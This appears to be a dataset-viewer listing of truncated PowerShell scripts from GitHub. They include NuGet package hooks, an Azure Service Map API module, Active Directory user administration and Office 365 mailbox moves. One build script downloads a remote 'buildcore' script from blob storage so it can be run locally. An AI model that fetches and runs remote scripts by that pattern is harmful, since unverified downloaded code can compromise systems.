PowerShellCorpus/Github/altnp_Sandboxes/UoWDALSandbox/packages/EntityFramework.6.1.1/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
if (Get-Module | ?{ $_.Name -eq 'EntityFramework' })
{
Remove-Module EntityFramework
}
Import-Module (Join-Path $toolsPath EntityFramework.psd1)
# SIG # Begin signature block
# MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB
# gjcCAQ... |
PowerShellCorpus/Github/altnp_Sandboxes/UoWDALSandbox/packages/EntityFramework.6.1.1/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
Initialize-EFConfiguration $project
Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer'
Write-Host
Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma... |
PowerShellCorpus/Github/zdebsky_Todo/Todo/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
$compilerPackageName = 'Microsoft.Net.Compilers'
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$libDirectory = Join-Path $installPath 'lib\net45'
$packageDirectory = Split-Path $installPath
$compilerPackage = Get-Chil... |
PowerShellCorpus/Github/zdebsky_Todo/Todo/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$projectRoot = $project.Properties.Item('FullPath').Value
$binDirectory = Join-Path $projectRoot 'bin'
$targetDirectory = Join-Path $binDirectory $roslynSubFolder
if (Te... |
PowerShellCorpus/Github/v-peliao_TestForFeature.en-gb/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1: Download buildcore script to local
echo "download build core script to local with source u... |
PowerShellCorpus/Github/minidfx_teamcity-agent-window/downloadJre.ps1 | downloadJre.ps1 | param([Parameter(Mandatory=$True, Position=0)] $Uri, [Parameter(Mandatory=$True, Position=1)] $OutDest)
# Avoid to continue if an error occurred
trap {
Write-Error $_
exit 1
}
# Download the SharpZipLib nuget package
[Reflection.Assembly]::LoadWithPartialName("System.IO.Compression") | Out-Null
$htt... |
PowerShellCorpus/Github/minidfx_teamcity-agent-window/runAgent.ps1 | runAgent.ps1 | # Avoid to continue if an error occurred
trap {
Write-Error $_
exit 1
}
$configFiles = Get-ChildItem $Env:BUILDAGENT/conf
if($configFiles.Length -lt 1)
{
Copy-Item $Env:BUILDAGENT/conf.bak/* $Env:BUILDAGENT/conf
}
& "$Env:BUILDAGENT/bin/agent.bat" @("start")
# Wait for the others java pro... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/CVServiceMapAPI.tests.ps1 | CVServiceMapAPI.tests.ps1 | #
# This is a PowerShell Unit Test file.
# You need a unit test framework such as Pester to run PowerShell Unit tests.
# You can download Pester from http://go.microsoft.com/fwlink/?LinkID=534084
#
Describe "Get-Function" {
Context "Function Exists" {
It "Should Return" {
}
}
} |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Helper/FunctionHeader.ps1 | FunctionHeader.ps1 | <#
.Synopsis
Single line , succinct summary of what func does. Make sure this is a single line.
.Description
API Call -
Prequisites
-----------
#ie.
AzureRM Modules - tested on 3.4
Get-CVAzureRESTAuthHeader func
Returns
-------
ie
Limitations and Known Issues
----------------... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Helper/Helper.ps1 | Helper.ps1 |
<# Helper.ps1
Helper / Unit type tests for Service Map APO calls
v1.00 Andy Ball 22/2/2017 Base Version
#>
$ErrorActionPreference = "Stop"
# Import-Module C:\Workarea\Repos\CVServiceMapAPI\CVServiceMapAPI\CVServiceMapAPI -Force -Verbose
Import-Module C:\Users\Aball\Source\Repos\CVServiceMap\CVServiceMap... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Helper/GenerateReadMe.ps1 | GenerateReadMe.ps1 | #
# GenerateReadMe.ps1
#
Import-Module $PSScriptRoot\..\CVServiceMapAPI.psm1 -Force -verbose -Debug
Get-CVMarkDownFileForCmdLets -Module CVServiceMapAPI -OutputFileName "$PSScriptRoot\..\ReadMe.md" -ReadMeMarkdownHeaderFileName "$PSScriptRoot\..\ReadMeHeader.md" -Verbose |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVAzureRESTAuthHeader.ps1 | Get-CVAzureRESTAuthHeader.ps1 | <#
.Synopsis
Generates an Authentication Token / Header that can then be used when calling Azure REST API's. See Examples Section for how to use with Invoke-RESTMethod.
.Description
Adapted from below, thx dude
https://blogs.technet.microsoft.com/paulomarques/2016/04/05/working-with-azure-rest-apis-from... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVServiceMapMachineList.ps1 | Get-CVServiceMapMachineList.ps1 | <#
.Synopsis
Generic function that calls either _ListPorts, _ListConnections or List_Processes depending on the ListType Param.
.Description
API Call - https://docs.microsoft.com/en-us/rest/api/servicemap/machines#Machines_ListPorts
Prequisites
-----------
#ie.
AzureRM Modules - tested on 3.4
Ge... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVMarkDownFileForCmdLets.ps1 | Get-CVMarkDownFileForCmdLets.ps1 | <#
.Synopsis
For a given wildcard will generate a Markdown table / file of Name , Synopsis. Markdown is used in Git for rich documentation..
.Description
See https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet#tables for details of Markdown tables
Prequisites
-----------
None
... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVServiceMap.ps1 | Get-CVServiceMap.ps1 | <#
.Synopsis
Generates a Service Map Map , currently returns as Recordset with VMName, and then raw ServiceMap Object , so can be dumped to JSON / explored.
.Description
https://docs.microsoft.com/en-us/rest/api/servicemap/maps
Prequisites
-----------
AzureRM Modules - tested on 3.4
Get-Az... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVJSONDateTime.ps1 | Get-CVJSONDateTime.ps1 | <#
.Synopsis
For a given DateTime param, returns in JSON friendly format 2017-02-18T17:23:37.033
.Description
Bit of workaround as when doing a ConvertTo-JSON end up with 2 fields in there
{
"value": "\/Date(1487441052493)\/",
"DisplayHint": 2,
"DateTime": "18 February 2017 18:04:12"
... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVServiceMapMissingByADGroup.ps1 | Get-CVServiceMapMissingByADGroup.ps1 | <#
.Synopsis
For a given ADGroup Name, enumerates Members and checks to see if active in Service Map. Idea is that AD Group will contain Computer Accounts of Servers that should be in ServiceMap
.Description
Prequisites
-----------
#ie.
AzureRM Modules - tested on 3.4
Get-CVServiceMapMachineLis... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVServiceMapSummary.ps1 | Get-CVServiceMapSummary.ps1 | <#
.Synopsis
Gets Summary of number of VMs that have Service Map for given OMSWorkspaceName /ResourceGroupName / Subscription
.Description
API Call : https://docs.microsoft.com/en-us/rest/api/servicemap/summaries
Prequisites
-----------
AzureRM Modules - tested on 3.4
Get-CVAzureRESTAuthH... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVServiceMapMachineLiveness.ps1 | Get-CVServiceMapMachineLiveness.ps1 | <#
.Synopsis
Returns the "liveness" of specified VM(s) for the given start/Endtime (if specfied, if not last 10 mins). liveness means that it was up and running and delivering ServiceMap data during the time period.
.Description
API Call - https://docs.microsoft.com/en-us/rest/api/servicemap/machines#Machines... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVServiceMapWrapper.ps1 | Get-CVServiceMapWrapper.ps1 | <#
.Synopsis
Generic Wrapper script for Azure Service Map REST API so can test / experiement with various API Calls and also called by other specific functions in the Module to avoid repeat code
.Description
appends specified URISuffix param to below
https://management.azure.com/subscriptions/{subscripti... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVServiceMapMachineName.ps1 | Get-CVServiceMapMachineName.ps1 | <#
.Synopsis
For givenn ComputerName (NetbiosName) returns ServiceMap machine name so can be used in other API Calls
.Description
Prequisites
-----------
AzureRM Modules - tested on 3.4
Get-CVAzureRESTAuthHeader func
Get-CVServiceMapMachineSummary
Returns
-------
ServiceMap Ma... |
PowerShellCorpus/Github/andyjballgit_CVServiceMap/CVServiceMapAPI/Public/Get-CVServiceMapMachineSummary.ps1 | Get-CVServiceMapMachineSummary.ps1 | <#
.Synopsis
Returns Summary information about All ServiceMap MAchines in Given OMS Workspace / Resource Group
.Description
API Call - https://docs.microsoft.com/en-us/rest/api/servicemap/machines#Machines_Get
Prequisites
-----------
AzureRM Modules - tested on 3.4
Get-CVAzureRESTAuthHeader... |
PowerShellCorpus/Github/DrDrrae_Powershell/MIMA/PasswordExpirationPopup.ps1 | PasswordExpirationPopup.ps1 | $currentUser = $env:username
$user = Get-AdUser $currentUser -Properties PasswordLastSet,PasswordNeverExpires
$today = (get-date)
$expireinDays = 14
$DefaultmaxPasswordAge = (Get-ADDefaultDomainPasswordPolicy).MaxPasswordAge
$Name = $user.Name
$Username = $user.SamAccountName
$passwordSetDate = $user.PasswordL... |
PowerShellCorpus/Github/DrDrrae_Powershell/MIMA/CreateUser.ps1 | CreateUser.ps1 | <#
#
# Name: Create MIMA Healthcare User
# Author: Andrea Mastellone
# Date: 2017-06-15
# Version: 0.1.20170615.1
# Copyright 2017
#
#>
#Requires -Modules ActiveDirectory,ADSync,MSOnline
#Requires -Version 4.0
#Requires -RunAsAdministrator
#===============================================================... |
PowerShellCorpus/Github/DrDrrae_Powershell/MIMA/CompareFolderContents.ps1 | CompareFolderContents.ps1 | <#
.SYNOPSIS
Synchronises folders (and their contents) to target folders. Uses a configuration XML file (default) or a pair of
folders passed as parameters.
.DESCRIPTION
Reads in the Configuration xml file (passed as a parameter or defaults to
Sync-FolderConfiguration.xml in the script folder.
Modifi... |
PowerShellCorpus/Github/DrDrrae_Powershell/MIMA/DisableUser.ps1 | DisableUser.ps1 | <#
#
# Name: Disable MIMA Healthcare User
# Author: Andrea Mastellone
# Date: 2017-06-15
# Version: 0.2.20170615.1
# Copyright 2017
#
#>
#Requires -Modules ActiveDirectory,ADSync,MSOnline
#Requires -Version 4.0
#Requires -RunAsAdministrator
function Disable-MIMAUser {
function Disable-MIMAUserF... |
PowerShellCorpus/Github/DrDrrae_Powershell/MIMA/DeleteUser.ps1 | DeleteUser.ps1 | # Check last modified time
# Delete AD Account if greater than "X" days |
PowerShellCorpus/Github/DrDrrae_Powershell/Test/StrategicO365Move.ps1 | StrategicO365Move.ps1 | New-MoveRequest -Identity keithmiller -remote -RemoteHostName mail.millersmmp.com -TargetDeliveryDomain "StrategicFactory443.mail.onmicrosoft.com" -RemoteCredential $creds -BadItemLimit 1000 -LargeItemLimit 1000 -AcceptLargeDataLoss -CompleteAfter (Get-Date "12/31/2017 11:59 PM").ToUniversalTime()
New-MoveRequest -Id... |
PowerShellCorpus/Github/DrDrrae_Powershell/Test/New-SWRandomPassword.ps1 | New-SWRandomPassword.ps1 | function New-SWRandomPassword {
[CmdletBinding(ConfirmImpact='None')]
[OutputType([String])]
Param
(
[Parameter(Mandatory=$false)]
[ValidateRange(1,2147483647)]
[int]$PasswordLength = 8,
[String[]]$InputStrings = @('abcdefghijklmnopqrstuvwxyz', 'ABCEFGHIJKLMNOPQRS... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.